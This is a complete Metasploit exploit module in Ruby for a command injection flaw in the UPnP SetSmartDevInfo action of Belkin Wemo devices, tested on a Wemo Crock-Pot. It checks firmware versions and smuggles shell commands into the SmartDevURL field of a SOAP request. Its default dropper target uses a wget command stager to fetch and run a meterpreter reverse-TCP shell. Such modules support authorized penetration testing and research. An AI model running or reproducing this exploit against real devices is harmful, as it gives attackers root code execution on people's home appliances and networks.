##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'Belkin Wemo UPnP Remote Code Execution',
      'Description'        => %q{
        This module exploits a command injection in the Belkin Wemo UPnP API via
        the SmartDevURL argument to the SetSmartDevInfo action.

        This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo
        devices are known to be affected, albeit on a different RPORT (49153).
      },
      'Author'             => [
        'phikshun', # Discovery, UFuzz, and modules
        'wvu',      # Crock-Pot testing and module
        'nstarke'   # Version-checking research and implementation
      ],
      'References'         => [
        ['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'],
        ['URL', 'https://github.com/phikshun/ufuzz'],
        ['URL', 'https://gist.github.com/phikshun/10900566'],
        ['URL', 'https://gist.github.com/phikshun/9984624'],
        ['URL', 'https://www.crock-pot.com/wemo-landing-page.html'],
        ['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],
        ['URL', 'http://www.wemo.com/']
      ],
      'DisclosureDate'     => '2014-04-04',
      'License'            => MSF_LICENSE,
      'Platform'           => ['unix', 'linux'],
      'Arch'               => [ARCH_CMD, ARCH_MIPSLE],
      'Privileged'         => true,
      'Targets'            => [
        ['Unix In-Memory',
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Type'           => :unix_memory,
          'DefaultOptions' => {
            'PAYLOAD'      => 'cmd/unix/generic'
          }
        ],
        ['Linux Dropper',
          'Platform'       => 'linux',
          'Arch'           => ARCH_MIPSLE,
          'Type'           => :linux_dropper,
          'DefaultOptions' => {
            'PAYLOAD'      => 'linux/mipsle/meterpreter_reverse_tcp'
          }
        ]
      ],
      'DefaultTarget'      => 1,
      'Notes'              => {
        'NOCVE'            => 'Patched in 2.00.8643 without vendor disclosure',
        'Stability'        => [CRASH_SAFE],
        'SideEffects'      => [ARTIFACTS_ON_DISK],
        'Reliability'      => [REPEATABLE_SESSION]
      }
    ))

    register_options([
      Opt::RPORT(49152)
    ])

    register_advanced_options([
      OptBool.new('ForceExploit',  [true, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
    ])
  end

  def check
    checkcode = CheckCode::Unknown

    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/setup.xml'
    )

    unless res && res.code == 200 && res.body.include?('urn:Belkin:device:')
      vprint_error('Wemo-enabled device not detected')
      return checkcode
    end

    vprint_good('Wemo-enabled device detected')
    checkcode = CheckCode::Detected

    version = (v = res.get_xml_document.at('firmwareVersion')&.text) &&
              v =~ /WeMo_WW_(\d+(?:\.\d+)+)/ && $1 && Gem::Version.new($1)

    unless version
      vprint_error('Could not determine firmware version')
      return checkcode
    end

    vprint_status("Found firmware version: #{version}")

    # https://www.tripwire.com/state-of-security/featured/my-sector-story-root-shell-on-the-belkin-wemo-switch/
    if version < Gem::Version.new('2.00.8643')
      vprint_good("Firmware version #{version} < 2.00.8643")
      checkcode = CheckCode::Appears
    else
      vprint_error("Firmware version #{version} >= 2.00.8643")
      checkcode = CheckCode::Safe
    end

    checkcode
  end

  def exploit
    checkcode = check

    unless checkcode == CheckCode::Appears || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      cmdstager = generate_cmdstager(
        flavor:   'wget',
        temp:     datastore['WritableDir'],
        file:     File.basename(cmdstager_path),
        noconcat: true
      )

      # HACK: "chmod +x"
      cmdstager.unshift("cp /bin/sh #{cmdstager_path}")
      cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') }
      cmdstager = cmdstager.join(';')

      vprint_status("Regenerated command stager: #{cmdstager}")
      execute_command(cmdstager)
    end
  end

  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method'       => 'POST',
      'uri'          => '/upnp/control/basicevent1',
      'ctype'        => 'text/xml',
      'headers'      => {
        'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"'
      },
      'data'         => generate_soap_xml(cmd)
    )
  end

  def generate_soap_xml(cmd)
    <<~EOF
      <?xml version="1.0" encoding="utf-8"?>
      <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <s:Body>
          <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
            <SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>
          </u:SetSmartDevInfo>
        </s:Body>
      </s:Envelope>
    EOF
  end

  def cmdstager_path
    @cmdstager_path ||=
      "#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}"
  end

end
